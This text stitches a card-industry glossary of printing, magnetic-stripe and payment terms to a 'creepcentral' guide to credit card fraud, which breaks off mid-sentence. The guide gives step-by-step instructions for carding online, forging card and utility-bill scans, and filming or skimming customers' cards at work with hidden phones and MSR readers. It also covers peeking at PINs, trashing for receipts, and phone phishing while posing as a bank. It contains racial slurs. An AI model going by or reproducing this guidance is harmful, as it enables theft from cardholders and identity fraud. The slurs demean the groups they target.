information. In Set-Up/Encode Fields, data is fixed.
|
||
FOIL--Decorative foils are applied to cards with heat. If you have a specific foil in mind, we can apply it
|
||
for you, ID Services has a wide variety to choose from.
|
||
HAND-HELD DATA COLLECTOR--See Portable Data Collector
|
||
|
||
HARD DISK DRIVE--Enclosed disk drive that contains one or more metallic disks for data storage. A
|
||
hard disk has many times the capacity of a diskette.
|
||
HIGH COERCIVITY--See coercivity.
|
||
HIGH-VOLUME PRINTING--Fast, efficient printing for producing large quantities of cards with
|
||
minimal down time for supplies loading or maintenance.
|
||
HIGH DEFINITION PRINTING™ (HDP™)--The High-Definition Printing process prints full-color
|
||
images onto clear HDP transfer film. The HDP film is then fused to the card through heat and pressure
|
||
via a heated roller. This revolutionary technology enhances card durability and consistently produces the
|
||
best card color available - even on tough-to-print matte-finished cards, proximity cards, and smart cards.
|
||
HIGH SPEED PRINTING--FARGO Card Printer/Encoders are among the fastest desktop card
|
||
printer/encoders in the industry. High-speed printing allows for more efficient card production - saving
|
||
time, money, and resources.
|
||
HOLOGRAM--This security feature prevents the reproduction of ATM/Bank cards and credit cards. ID
|
||
Services has a variety of holograms to choose from or will apply your own custom hologram.
|
||
HOST COMPUTER--A central computer, such as a mainframe computer at a company’s headquarters or
|
||
central office. The central computer in a star network.
|
||
ISO--International Standards Organization specification for magnetic stripe encoding. The FARGO
|
||
encoder supports dual high/low coercivity and tracks 1, 2 and 3.
|
||
ID CARDS--An important record-keeping tool for hospitals, nursing homes, healthcare providers,
|
||
insurance companies and colleges/universities are ID cards. ID Services offers them in four sizes, CR50,
|
||
60, 70 and 80, to fit any standard imprinting or embossing system. ID Services offers a variety of card
|
||
compositions to meet the needs of the specific application. Composite cards are recommended for
|
||
College/University ID’s due to their flexibility and long life span.
|
||
IN-COUNTER SCANNER--A bar code scanner that normally has multiple laser beams emitting from it
|
||
to read bar codes in high-speed environments (i.e. grocery stores). An in-counter scanner is usually
|
||
mounted into a countertop so that products can quickly and easily be passed over the scanner for bar code
|
||
reading.
|
||
|
||
IMPRINTER--A device supplied to the merchant to produce an image of the embossed characters of the
|
||
bankcard on all copies of sales drafts and credit slips.
|
||
ISSUER--A member that enters into a contractual agreement with MasterCard or Visa to issue
|
||
MasterCard or Visa cards.
|
||
JIS II--Japanese Industrial Standard for magnetic stripe encoding, published and translated into English
|
||
by Japan Standards Association.
|
||
KEYLOCK CARDS--Hotels and resorts all over the world are changing the traditional door locks to
|
||
electronic swipe key cards. Keylock cards are becoming a necessity to keep hotel guests safe. For
|
||
excellent performance, the cards must match the system and the applications. ID Services offers roll-on
|
||
magnetic stripes as well as laminated magnetic stripes in both high energy and low energy coercivity with
|
||
the hotel and/or its logo perfectly printed.
|
||
KEY GENERATOR--Any tool designed to break software copy protection by extracting internally-stored
|
||
keys, which can then be entered into the program to convince it that the user is an authorized purchaser.
|
||
KEY LOGGER--(Keystroke Logger). A program that runs in the background, recording all the
|
||
keystrokes. Once keystrokes are logged, they are hidden in the machine for later retrieval, or shipped raw
|
||
to the attacker. The attacker then peruses them carefully in the hopes of either finding passwords, or
|
||
possibly other useful information that could be used to compromise the system or be used in a social
|
||
engineering attack. For example, a key logger will reveal the contents of all e-mail composed by the user.
|
||
Keylog programs are commonly included in rootkits and RATs (remote administration trojans).
|
||
LCD DISPLAY--The LCD - or Liquid Crystal Display - shows the current status of the printer, and
|
||
changes according to the printer's current mode of operation. LCD communicates an error with text,
|
||
which is easier to interpret than LED lights.
|
||
LOW COERCIVITY--See coercivity.
|
||
LASER SCANNER--A bar code scanner that utilizes laser technology. These scanners emit laser beams
|
||
that read bar codes. Laser scanners have "depth of field" which enables them to read bar codes from short
|
||
|
||
distances away (6" to a few feet).
|
||
LED (Light Emitting Diode)--A semiconductor light source that emits visible light or invisible infrared
|
||
radiation.
|
||
LOCKABLE HOPPER--Some FARGO Card Printer/Encoders provide a lockable Card Hopper Door.
|
||
This lock is intended to help prevent theft of your blank card stock. This feature is especially helpful if
|
||
using valuable card stock such as preprinted cards, smart cards, or cards with built-in security features
|
||
such as holograms.
|
||
MAGSTRIPE STRIPE--The magnetically encoded stripe on the bankcard plastic that contains
|
||
information pertinent to the cardholder account. The physical and magnetic characteristics of the
|
||
magnetic stripe are specified in ISO Standards 7810, 7811, and 7813.
|
||
MAGNETIC STRIPE READER--A device that reads information recorded on the magnetic stripe of a
|
||
card.
|
||
MEMBER--An institution that participates in the programs offered by MasterCard International
|
||
Incorporated.
|
||
MERCHANT--A retailer, or any other person, firm, or corporation that (pursuant to a merchant
|
||
agreement) agrees to accept credit cards, debit cards, or both, when properly presented.
|
||
MAS (Merchant Accounting System)--The Vital back-end system that handles settlement, interchange
|
||
and billing.
|
||
|
||
MERCHANT BANK--A bank that has entered into an agreement with a merchant to accept deposits
|
||
generated by bankcard transactions; also called the acquirer or acquiring bank.
|
||
MCC (MERCHANT CATEGORY CODE)--Four-digit classification codes used in the warning bulletin,
|
||
authorization, clearing, and settlement systems to identify the type of merchant business in various stages
|
||
of transaction processing.
|
||
MMS (MERCHANT MANAGEMENT SYSTEM)--The Vital front-end system that handles point of sale
|
||
functions such as terminal types, cut-off times, etc.
|
||
MOTO (MAIL ORDER/TELEPHONE ORDER)--A transaction initiated by mail or telephone to be
|
||
debited or credited to a bankcard account.
|
||
MAGNETIC STRIPE--The black stripe found on the back of most credit cards and many other types of
|
||
identification cards and drivers licenses. Used to encode and read data, usually identifying the owner of
|
||
the card.
|
||
MAGNETIC (“MAG”) STRIPE--Mag Stripe refers to the black or brown magnetic stripe on a card. The
|
||
stripe is made of magnetic particles of resin. The resin particle material determines the coercivity of the
|
||
stripe; the higher the coercivity, the harder it is to encode -- and erase -- information from the stripe.
|
||
Magnetic stripes are often used in applications for access control, time and attendance, lunch programs,
|
||
library cards, and more.
|
||
MAGNETIC STRIPES--Offered in five different sizes and are available in both low coercivity (300
|
||
oersteds) and high coercivity (2750 (USA), or 4000 (European) oersteds.)
|
||
· 1/8" Covers one track (HEM only)
|
||
· 5/16" Covers two tracks
|
||
|
||
· 6/16" Covers three tracks (3/8")
|
||
· 7/16" Covers three tracks
|
||
· 8/16" Covers three and one half tracks (1/2")
|
||
· 9/16" Covers four tracks (super stripe)
|
||
· We can apply roll-on magnetic stripes as well as flush laminated magnetic stripes.
|
||
For additional security ID Services offers holo-magnetic stripes. The stripes are custom made with your
|
||
company name appearing in the stripe. Multiple magnetic stripes can be applied to each card.
|
||
MAGNETIC STRIPE READER--See Credit Card Reader
|
||
MASTER REGISTER--A cash register that acts as the central register or "file server" in a multiple
|
||
register environment. The master register normally controls "slave" registers that are networked and cable
|
||
to it.
|
||
MEGABYTE--A unit of measure that consists of 1,014 bytes.
|
||
MICROCOMPUTER (Personal Computer)--A small. low cost computer originally designed for
|
||
individual users. Recently, microcomputers have become powerful tools for many businesses that, when
|
||
networked together, have replace minicomputers and in some cases mainframes and information tools.
|
||
MICRO-PRINTING--Very small text printed into the plastic card and generally look like thin lines to the
|
||
naked eye. The text is printed at 9600 dpi (dots per inch) and require a magnifying glass to view the
|
||
micro-printed text. Desktop card printers print at 300 dpi and can not reproduce micro-printing making
|
||
micro-printing a very handy feature when checking for counterfeit cards.
|
||
MICROPROCESSOR--Integrated circuit chip that monitors, controls and executes the machine language
|
||
instructions.
|
||
|
||
MICR READER--MICR is an acronym for Magnetic Ink Character Recognition. MICR Readers are
|
||
normally used to read the encoded information within the ink on a check.
|
||
MODEM (Modulator - Demodulator)--A device used to convert serial digital data for transmission over a
|
||
telephone channel, or to reconvert the transmitted signal to serial digital data for acceptance by a
|
||
receiving terminal.
|
||
MONOCHROME MONITOR--A monitor that displays characters in only one color, such as amber or
|
||
green.
|
||
MULTI-USER--Multi-user systems consist of two or more computers that are connected together and
|
||
that share data and peripherals. A multi-user system includes a host computer (file server) and one or
|
||
more stations. All stations share the same hard disk and may share other devices such as printers.
|
||
MTBF (Mean Time Between Failures)--The average time between failures of a particular device based on
|
||
statistical or anticipated experience.
|
||
NETWORK--A communications system connecting two or more computers and their peripheral devices.
|
||
NETWORK CARD--An expansion card that is installed in an available slot in a computer so that it may
|
||
connect and communicate to another computer.
|
||
OPERATING SYSTEM--System that consists of several programs that help the computer manage its
|
||
own resources, such as manipulating files, running programs and controlling the keyboard and screen.
|
||
OUTPUT STACKER--The Output Stacker stores printed cards in a first-in/first-out order. This feature
|
||
makes it easy to keep printed cards in a specific order for faster issuance or to print serialized cards.
|
||
OVERSIZED CARDS--Oversized cards are used for more efficient visual identification and are available
|
||
in many non-standard sizes. The most popular sizes are CR-90 (3.63" x 2.37"/92mm x 60mm) and CR-
|
||
100 (3.88" x 2.63"/98.5mm x 67mm).
|
||
OVERLAMINATE--Protective clear or holographic material designed to offer advanced card security
|
||
|
||
and durability. Two types are available from FARGO: Thermal Transfer Overlaminate is a .25 mil thick
|
||
material that enhances card security and durability. PolyGuard Overlaminate is available in a 1 mil and .6
|
||
mil thick material and provides extraordinary protection for applications that require highly durable cards.
|
||
OVERLAY PANEL--The clear overlay panel (O) is provided on dye-sublimation print ribbons. This
|
||
panel is automatically applied to printed cards and helps prevent images from premature wear or UV
|
||
fading. All dye-sublimation printed images must have either this overlay panel or an overlaminate applied
|
||
to protect them.
|
||
OVER-THE-EDGE--Refers to the maximum printable area on a card. Printer/Encoders with over-the-
|
||
edge printing capability can print past the edge of a card resulting in printed cards with absolutely no
|
||
border.
|
||
PARALLEL TRANSMISSION--Transmission mode that sends a number of bits simultaneously over
|
||
separate lines. Usually unidirectional.
|
||
PERIPHERAL DEVICE--Hardware that is outside of the system unit, such as a disk drive, printer, cash
|
||
drawer or scanner.
|
||
POLLING--A means of controlling devices on multi-point line. Usually utilized to send/receive
|
||
information via modem from remote computers to a central computer.
|
||
POLYGUARD™--A card overlaminate available in 1 mil and .6 mil thicknesses that provides
|
||
extraordinary card protection; ideal for harsh or more secure environments. Available as clear or with
|
||
embedded holographic-type security images.
|
||
POS (Point-of-Sale)--Term normally used to describe cash register systems that record transactions or the
|
||
area of "checkout" in a retail store.
|
||
PIN NUMBERS--This security feature will activate usage of the card. Once the numbers have been
|
||
supplied from our customers, ID Services can apply them to the customer cards.
|
||
PINPAD--A "pin pad" is a small keyboard that normally contains numeric keys. PIN is an acronym for
|
||
personal identification number which is normally entered into the keyboard "pad" to verify account
|
||
information for a transaction (i.e. similar to an automated teller machine).
|
||
|
||
PORTABLE DATA COLLECTOR--A hand-held computer that can be used as a stand alone portable
|
||
unit for point-of-sale, inventory, receiving and other applications. A portable data collector is normally a
|
||
temporary storage device that gathers information and downloads data into a main or central computer.
|
||
PROGRAMMABLE KEYBOARD--A keyboard that is capable of being configured and programmed in a
|
||
variety of ways. Programmable keyboards allow keys to represent special departments, functions,
|
||
product, etc.
|
||
PROJECTION SCANNER--A type of bar code reader that is normally placed vertically, and that projects
|
||
laser beams horizontally to scan bar codes. Often used when high performance and speed to reading bar
|
||
codes is critical.
|
||
PROTOCOLS--A set of rules for the exchange of information, such as those used for successful data
|
||
transmission.
|
||
PROXIMITY (“PROX”) CARD--Proximity cards allow access and tracking utilizing contactless
|
||
technology (usually by communicating through a built-in antenna).
|
||
PROX CARD ENCODER--The prox card encoder uses a HID ProxPoint® Plus reader mounted on the e-
|
||
card docking station inside the printer/encoder. The ProxPoint is a "read only" device producing a
|
||
Wiegand signal that is converted to RS-232 using a Cypress Computer Systems CVT-2232. Application
|
||
programs can read information from HID prox cards via a RS-232 signal through a dedicated DB-9 port
|
||
on the outside of the printer labeled "Prox."
|
||
PVC (POLYVINYLCHLORIDE)--These cards are manufactured for mechanical style embossing and to
|
||
be our least expensive card option. They are available in 23 different colors and three different card
|
||
finishes. Heat distortion occurs at 130°F and the cards will flex approximately 2,500 flex cycles.
|
||
Estimated normal card life: 18 months.
|
||
PDF (PORTABLE DOCUMENT FORMAT--Adobe's file format is the de facto standard for electronic
|
||
document distribution. It is the preferred means of distributing documents online because it preserves
|
||
fonts, formatting, colors and graphics regardless of the application or platform used to create it. The
|
||
Adobe Acrobat Reader, required to read PDF files, is available free from the Adobe web site.
|
||
PIN PERSONAL IDENTIFICATION NUMBER)--A four-to-12 character secret code that allows an
|
||
issuer to positively authenticate the cardholder for the purpose of approving an ATM or terminal
|
||
transaction occurring at a point-of-interaction device.
|
||
|
||
POTS (PLAIN OLD TELEPHONE SERVICE)--The standard analog telephone service with no
|
||
enhancements like call waiting, etc.
|
||
PURCHASE CARD--The Purchase card is issued to corporations, businesses and governments. It
|
||
provides control over daily and monthly spending limits, total credit limits, and where the card may be
|
||
used. It also reduces the administrative cost associated with authorizing, tracking, paying, and reconciling
|
||
those purchases. Many employees may be issued the same card number.
|
||
RAM (Random Access Memory)--Temporary storage that holds the program and data the CPU is
|
||
processing.
|
||
RESIN THERMAL TRANSFER--Resin Thermal Transfer is the process used to print sharp black text
|
||
and crisp bar codes that can be read by both infra-red and visible-light bar code scanners. It is also the
|
||
process used to print ultra-fast, economical one-color cards. Like dye-sublimation, this process uses a
|
||
thermal Printhead to transfer color from the ribbon roll to the card. The difference, however, is that solid
|
||
dots of color are transferred in the form of a resin-based ink which fuses to the surface of the card when
|
||
heated. This produces very durable, single-color images.
|
||
SCALE--A scale is a peripheral device used to record the weight of an item and transmit the amount to a
|
||
computer for processing.
|
||
SCRATCH-OFF PANELS--Applied through hot stamping or silk screening. Typically they are used to
|
||
cover pin numbers on pre-paid phone cards.
|
||
SERIAL TRANSMISSION--Transmission mode that sends data one bit at a time. In most cases, in
|
||
personal computers, serial data is passed through as RS232 serial interface port.
|
||
SIGNATURE CAPTURE--A peripheral device that electronically captures an individual’s signature for
|
||
customer identification and transaction applications.
|
||
SLAVE REGISTER--A cash register that is driven by a "master" register in a multiple register
|
||
environment.
|
||
SMART CARD--A smart card contains a "chip" with memory and is typically used to hold customer
|
||
account information and a "balance" of money similar to a checking account. The card is inserted into a
|
||
device that can read and write to it updating information appropriately.
|
||
|
||
SMART CARD--Smart cards have an embedded computer circuit that contains either a memory chip or a
|
||
microprocessor chip. There are several types of smart cards: Memory, Contact, Contactless, Hybrid
|
||
(Twin), Combi (Dual Interface), Proximity and Vicinity.
|
||
SMARTGUARD™--SmartGuard is a printer security option that uses a custom access card and a built-in
|
||
reader to restrict printer access. With this feature, only those with a valid access card can print cards. This
|
||
makes both your printed cards and your overall system more secure.
|
||
SMARTLOAD™--SmartLoad is an exclusive FARGO technology used in CardJet Card and Ink
|
||
Cartridges to advise you on the status of your CardJet supplies. In CardJet Ink Cartridges, SmartLoad
|
||
technology reports the number of prints remaining in the cartridge and alerts you when ink is low or out.
|
||
In CardJet Card Cartridges, SmartLoad technology tells you to install a new cartridge when the card
|
||
supply runs out.
|
||
SMARTLOAD CARD CARTIDGE--Cartridge that is pre-loaded with CardJet Cards at the factory. They
|
||
snap into the back of the printer in just seconds. SmartLoad technology inside the cartridges alerts you to
|
||
install a new cartridge when the card supply runs out.
|
||
SMARTLOAD INK CARTIDGE--CardJet Ink Cartridges are available with both full-color and black
|
||
(used for infrared bar codes only) inkjet inks. Cartridges snap into the printer just like the cartridges used
|
||
in other familiar office or home inkjet printers. SmartLoad technology inside the cartridges reports the
|
||
number of prints remaining in the cartridge and alerts you when ink is low or out.
|
||
SMARTSHIELD™--This option allows the printer/encoder to print custom, reflective security images on
|
||
the card that fluoresce under a black or UV light source.
|
||
SOLENOID--Solenoids are commonly used in "dumb" cash drawers and incorporate a cable connected
|
||
trigger which releases the drawer. Cash drawers with solenoids are interfaced to receipt printers that
|
||
"drive" them. Solenoids have different voltages and are integrated into the cash drawer dependent on the
|
||
printer they are interfaced to.
|
||
STANDARD CARDS--The standard card size is CR-80. CR-80 dimensions are 3.375" x 2.125" (85.6mm
|
||
x 54mm).
|
||
THERMAL TRANSFER--Thermal transfer is a printing technology method in which printers use regular
|
||
paper and a heat sensitive ribbon. The ribbon deposits a coating of dark material on the paper when
|
||
exposed to intense heat. Thermal transfer printers produce a more durable label that won’t fade as quickly
|
||
as direct thermal labels and are often used when a label needs to endure longer than a year.
|
||
|
||
THERMAL TRANSFER OVERLAMINATE--A card overlaminate available in a .25 mil thickness that
|
||
increases card security and durability; often used for moderate durability applications or when additional
|
||
security (such as holographic images) are needed.
|
||
TILL--The paper money and currency tray that holds money in a cash drawer. Tills are usually available
|
||
in 4 or 5 till versions, available with lock and cover and are removable.
|
||
TRACK--One of up to three portions of a magnetic stripe where data can be written.
|
||
TRACK 1--Track one is a "track" of information on a credit card that has a 79 character alphanumeric
|
||
field for information. Normally a credit card number, expiration date and customer name are contained on
|
||
track 1.
|
||
TRACK 2--Track two is a "track" of information on a credit card that has a 40 character field for
|
||
information. Normally a credit cad number and expiration date are contained on track 2.
|
||
TRACK3--Track three is a "track" of information on a credit card that has 107 character field for
|
||
alphanumeric information. Normally a credit card number, expiration date and room for additional
|
||
information are available on track 3.
|
||
UNIX--UNIX is a terminal based operation system in which "dumb" terminals are communicating back
|
||
to a "smart" processing unit or host.
|
||
UPS--An acronym for uninterruptible power source. A UPS is primarily used as a back up power source
|
||
for computers and computer networks to insure on-going operation in the event of a power failure.
|
||
Sophisticated units also have power conditioning and power monitoring features.
|
||
UV INKS--most commonly used to put hidden graphics and text on a plastic card. The inks are invisible
|
||
until the card is subjected to a certain colored light (for instance, when placing a California drivers license
|
||
under a black light the image of the California flag will become visible in green and orange.) UV inks are
|
||
used as an aid in detecting counterfeit cards. They come in a variety of colors and can react to different
|
||
colored lights. Desktop card printers are unable to print UV ink.
|
||
VARIABLE DATA--is information which changes with each encoding session or on a card-by-card
|
||
basis.
|
||
|
||
VERTICAL SCANNER--See Projection Scanner.
|
||
WAND--A pen-shaped bar code scanner that emits a beam from the end or tip of the wand. Wands are
|
||
older, bar code reading technology but inexpensive and still widely used where speed and performance
|
||
are not crucial.
|
||
WEDGE--A wedge decodes "read" data (i.e. bar codes, credit cards) and communicates that information
|
||
through a keyboard port on a computer. The keyboard plugs into the wedge and the wedge device plugs
|
||
into the computer where the keyboard was. Sophisticated wedges can accept a few different peripheral
|
||
devices. Also See Decode
|
||
Carding
|
||
This is a creepcentral publication
|
||
Carding: Carding: Online, Instore, Going through vendors and advice, Phishing for change of billing
|
||
addresses
|
||
Including drops and what you need to know;Huge guide written by me
|
||
Carding: Carding: Online, Instore, Going through vendors and advice, Phishing for change of billing
|
||
addresses
|
||
Including drops and what you need to know;Huge guide written by me
|
||
kay major updates done to this carding yext, it will cover the basics of most carding knowledge. Going
|
||
into absolutely everything would mean having to go onto ID theft and fake IDs which can be classed as 2
|
||
different categories of their own.
|
||
kay major updates done to this carding text, it will cover the basics of most carding knowledge. Going
|
||
into absolutely everything would mean having to go onto ID theft and fake IDs which can be classed as 2
|
||
different categories of their own.
|
||
What I'm going to cover:
|
||
Online Carding
|
||
- A quick overview of what online carding is
|
||
- SOCKS and why we use them
|
||
- Finding a cardable site and what cardable means
|
||
- Carding "non cardable websites" with fake CC scans and other fake documents
|
||
Carding while on the job
|
||
- Getting CC, CVV, CVV2 through use of mobiles
|
||
- Skimming whilst on the job
|
||
- Using carbonless receipts to get details (pretty outdated method)
|
||
Trashing
|
||
|
||
- Trashing for receipts and credit reports (pretty outdated although still works)
|
||
Phishing over the phone
|
||
- Phishing over the phone for details
|
||
Keylogging for CVV2s
|
||
- Hardware keylogging
|
||
Carding Instore
|
||
- What instore carding is (very brief)
|
||
- How it's done
|
||
- How to act and present yourself instore
|
||
Carding over the phone
|
||
- Carding over the phone
|
||
IRC
|
||
- Services provided in IRC
|
||
- Advantages to using IRC for info
|
||
- Disadvantages
|
||
- How to find carding channels (Will not go too much into this as there are secrets between fellow carders
|
||
which we like people interested enough to find out for themselves)
|
||
- Vendors and how to approach them
|
||
- How to rip in IRC (EVERY vendor, reliable or not has ripped some n00b who acted like they knew
|
||
what they were doing)
|
||
::::WU BUG BULLSHIT and how to rip n00bs and gain more::::
|
||
Phishing for Change of billing
|
||
- What COB is and why it's useful
|
||
- Use through phishing pages
|
||
- Use through keylogging
|
||
Drops and what you need to know about them
|
||
- Drops and what you need to know about them
|
||
What carding is
|
||
Carding summed up quickly is the act of obtaining someone's credit card information, from the CC#,
|
||
CVV, CVV2, CVN, and the billing address, along with the expiry date and name of the person the card
|
||
belongs to along with a signature.
|
||
Online Carding
|
||
Online carding is the purchasing of goods done over the internet with the CVV2.
|
||
Now for you n00bies you're probably wondering what a CVV2 is, it's simply just the database of basic
|
||
info for the card such as the card type (e.g. Mastercard) First and last name, address and post code, phone
|
||
number of the card owner, the expiry date (and start date if it's a debit card or prepaid CC), the actual CC
|
||
number and the CVC (card verification code, which is the 3 digits on the back of the card).
|
||
This is the format you usually get them in when you buy off IRC:
|
||
:::MC ::: Mr Nigerian Mugu ::: 1234567890123456 ::: 09|11 ::: 01/15 ::: 123 ::: 123 fake street,
|
||
fakeville, ::: Fake City ::: DE24 TRH ::: 01234-567890 :::
|
||
SOCKS and why we use them
|
||
Now with ANY fraud at all you have to take precautions so you don't make it easy for anyone to catch
|
||
you in your wrong doings. As usual I swear against TOR for carding/scammin because most nodes are
|
||
blacklisted by websites and because TOR cycles through various different proxies; and even if you
|
||
configure it to go straight through an exit node of your choice it's still not worth it. You can use JAP but
|
||
|
||
make sure you're using some constant sock proxies from the same city, town or area that the card is from;
|
||
also go wardriving and use a VPN (don't trust anyone off IRC with these, you'll have to do some
|
||
searching around yourself for a highly trusted one and one which won't comply with LE).
|
||
You can get good SOCKS from anyproxy.net (people are selling accounts for the site in IRC all the time),
|
||
that's the best place but even I ended up losing the account eventually (unknowingly I was sharing it with
|
||
some Nigerian dude who became selfish).
|
||
So we use SOCKS because they stay constant. But don't let that get your guard down, you want FRESH
|
||
proxies everytime you card.
|
||
Finding a cardable site and what cardable means
|
||
Basically a cardable site holds these characteristics and what you should be looking for to determine an
|
||
easily "cardable" website:
|
||
- The top one you need to look for on the site's TOS is that they send to any address and not just the one
|
||
registered on the card (although you can easily get around this if they don't, with a COB, photoshopped
|
||
verification (will go into detail later) or some social engineering over the phone).
|
||
- The next important to look for is if they have a visa verification code or mastercard secure code (most of
|
||
the time if you ask your vendor they'll include them in your CVV2 details textfile), if they do have one of
|
||
these you have to put in and you don't have them then don't waste your time
|
||
- If they ship internationally (for obvious reasons, but you can just stick to local websites and order to
|
||
your local drop)
|
||
- If they leave packages at the door when no one's in, or around the back in a safe area (I know of one site
|
||
in the UK that has all these qualities including this one, it is perfect for carding clothes)
|
||
- Also you can't forget to see what other security checks they need to do (if they need to call you up to
|
||
verify or want a utility bill, passport or a scan of the actual CC)
|
||
It is hard to find websites online now that have most of these qualities, therefore we have to use COBs
|
||
and photoshop to help us along the way, which is what I'll go into now.
|
||
Carding "non cardable websites" with fake CC scans and other fake documents
|
||
Okay so say you come across a site that will deliver to another house not registered on the card, but they
|
||
want verificaton either through phone or scans of a utility bill, credit card or passport.
|
||
For this you'll want to get a pay as you go deal for a cheap shitty mobile all in fake details (say a nokia
|
||
3210, brick LMAO!), or you can use spoofcard.com to your advantage to help you. Hell if the person's
|
||
details you're using is local to you and you're daring then go to their home and beige box from there; it'd
|
||
be very convincing.
|
||
If they speak to you over the phone have all details in your mind about the item you're carding, have some
|
||
bullshit story if you're having it sent to a diff address such as a family member's birthday and you need it
|
||
there as quick as possible as it's a last minute thing, or some shit like that. If you're carding multiple sites
|
||
at the same time it's easy to get them mixed up, so make sure who it is calling you 1st.
|
||
For CC scans and how to do them check the attachments at the end of this file, they explain so much
|
||
better than I could. How you use them is once you've made them like the tuts have said to do, you then tilt
|
||
them a little bit so it does actually look like a scan. To make it even more believable put some paper in the
|
||
scanner (dark shade if you must), scan it and open in photoshop and then put the shopped CC scan of the
|
||
front onto it and then do the same with the back, then send the scans to them via e-mail or post. Same
|
||
goes for utility bills (can be got through trashing or your own, and then edited in PS).
|
||
Do not use the same designs when making your CC scans, otherwise it will become too obvious. To give
|
||
you a head start on mastercards (what I recommend for n00bs to go for) I'm giving you a globe hologram
|
||
image so you won't have to buy them in IRC; unfortunately all of my visa hologram pics are shit, but I'm
|
||
working on getting a good one soon.
|
||
|
||
VISA hologram pic coming soon!
|
||
Carding whilst on the job
|
||
Getting CC, CVV, CVV2 through use of mobiles
|
||
Believe it or not giving your information out to anyone anywhere is not a wise choice, you can not trust
|
||
anyone in this day and age. Yes there are carders working on the inside in places where there are a lot of
|
||
people around flashing off their plastic cash and using them freely without a care in the world. The most
|
||
common of places for a carder to work at are brand label clothing stores such as Limey's, Charlie Brown's
|
||
and all the other trendy shops.
|
||
Ever noticed when yourself or someone else has paid at the desk with a debit card or credit card that they
|
||
bring out a keypad from under the desk, then put your card into it and have the buyer input the pin? Think
|
||
again when they take your credit card and go under the desk with it to get the keypad, they are doing
|
||
more than just that; just because they're not taking the card and running off with it does not mean they're
|
||
not stealing your information. A friend of my dad used to card and work in a clothing store, he used to
|
||
have a piece of play doh stuck under the desk and he used to press the card onto the piece of play doh,
|
||
unfortunately he began doing it too much and because he'd gotten away with it so many times he became
|
||
careless and got caught out by a co worker and from what I know he is still doing time. The moral is, be
|
||
careful with the play doh method. The unfortunate thing is you can only get the full info of 2 cards at the
|
||
max, and you don't know exactly if you're pressing over the info of another card already put on to the play
|
||
doh. Also you can't get the CVC through this method, I was just giving a classic example from the olden
|
||
days.
|
||
But there is a new wonderful invention called cameras, video recording, and mobile phones and they are
|
||
even all working on the same thing. It's best to test it out 1st and have a camera on your phone that is at
|
||
least over 2 megapixel and allows long enough video recording times. The phone is set to video record
|
||
and on a lighting if needed, and taped underneath the desk for you to record both sides of the card for all
|
||
the information you need, as well as being quick you can get a lot more than 2 on, depending on how long
|
||
each recording lasts, you may need to start more than one recording.
|
||
You need good reason to be going under the desk to get the chip and pin machine, so make the desk look
|
||
cluttered up and put shit in the way of everything, such as coat hangers and various other items; or you
|
||
could just flat out bullshit the customer and say that the chip and pin machine on the desk isn't working so
|
||
you need to get the other one, take their card and then go under searching the desk and quickly show it to
|
||
the camera phone and then get the chip and pin machine and put the card in it and then hand to the
|
||
customer to put in their pin as normal, unaware you have a CVV2 to later use when shopping online.
|
||
Skimming whilst on the job
|
||
For skimming you'll want a mini portable MSR500M reader that can be fitted on your waistline belt or of
|
||
course once again under the desk, if you're a cashier. But you'll also want a MSR206 writer if you plan on
|
||
writing the tracks to an embossed CR-80 piece of plastic later (you can make these yourself but
|
||
embossers are expensive and it's an expensive procedure, so wait a while until you do that yourself and
|
||
buy them from IRC (be careful, people like to rip with plastics, or you'll get shit quality if you don't watch
|
||
out).
|
||
If you plan to just sell the dumps on IRC then that's fine, but you'll still need the PIN as well, so if you're
|
||
a waiter you can get a cheeky peek at them putting their pin into the chip and pin device while you keep
|
||
hold of it slightly (have them put the pin in while they're sat down and you're standing up). It's much
|
||
easier to skim in a restaurant rather than clothing retail, as you don't have to think it out and set it up as
|
||
much. You can keep the MSR500M in your front pocket of the uniform you're wearing and pretend to be
|
||
giving the card a clean on the sleeve (bullshit and say the device won't read it), while really you're giving
|
||
it a swipe into your reader. This way the person doesn't even get suspicious because you don't take their
|
||
card out of sight with them. I guess you could do that technique with clothing retail too when you get
|
||
their card in your dirty little hands, but peeking for the PIN is harder or you'll have to have a friend
|
||
shoulder surf for it (or if they're on the next register have them use a sony cyber shot c902 camera phone
|
||
|
||
and pretend to have them talking on the phone while really they're recording the person next to them
|
||
putting in their PIN; cybershots are really inconspicuous looking with their cameras and VERY clear
|
||
[5mpixel]).
|
||
I'll go into detail what to do with the dumps you have later in the instore carding section.
|
||
Using carbonless receipts to get details (pretty outdated method)
|
||
If the store you work at hasn't gone carbonless on the transactions information then you can get most of
|
||
the info from the receipt you get a copy of for yourself and note down the pin on this as well when/if you
|
||
get it.
|
||
Trashing
|
||
Trashing for receipts and credit reports (pretty outdated although still works)
|
||
Ever heard the expression "Another man's trash is another man's gold"? That's exactly what this is. You'd
|
||
be surprised how many people haven't heard of a paper shredder or bonfire. They just dump their
|
||
financial records containing SSN's/NI, full name, address, bank, credit card number, CVV, CVV2 etc. All
|
||
on forms people couldn't be bothered to dispose of properly because they thought they were JUST old
|
||
records. Again carders wok on the inside again for when they want to do trashing, a lot of janitors wear
|
||
rags but you'd be surprised how secretly rich most of them are (along with the other shit they steal from
|
||
work as well). But also from this if there is not enough info for you on the forms then there is definitely
|
||
the phone number of the mark on the form that they've scrapped; almost always, and if not then there is
|
||
enough info on their to look them up in the phone directory. Then of course you use social engineering
|
||
skills over the phone to get the extra info that you need. If you know of a store that is not carbonless, then
|
||
go trashing in the bins at the back of the store for the receipts with the credit card details on it.
|
||
Phishing over the phone
|
||
Phishing over the phone for details
|
||
Ever had telemarketers ask for your credit card info over the phone? (this is if you haven't already hung
|
||
up by just hearing a nigger or paki on the phone) chances are they're a carder. Believe it or not there are
|
||
people actually stupid enough to fall for these obvious scams. Even more people fall for this if they
|
||
believe that the caller is from the credit card company itself or part of the secret service or credit fraud
|
||
investigations; the FBI, CIA and police have nothing at all to do with credit card fraud believe it or not. If
|
||
you sound professional or part of an important group such as investigations then people are more likely to
|
||
comply with you if they believe that their card has been used for credit fraud purposes and have to give
|
||
their credit card info and billing address for verification. The best time to call up the mark is when they
|
||
are at work as it'll take them by surprise and they'll be wanting to get it sorted asap so that they can get
|
||
back to work. Also if it's "serious" then the secret service don't wait for you to finish work before they
|
||
question you. Play along well to the part you're pretending to be. Some social engineering skills are
|
||
required and you must gain the experience of lying to people yourself. Before calling up the person find
|
||
out as much information about them as you can.
|
||
If you've stolen a CC from someone personally you can call them up pretending to be their bank and tell
|
||
them there has been some suspicious charges made to the credit card from places such as South Africa,
|
||
Nigeria, Turkey, Russia; places like that, get them to confirm their details (milk as much as you want out
|
||
of them, ask them bullshit security questions such as their mother's maiden name, address, etc; you may
|
||
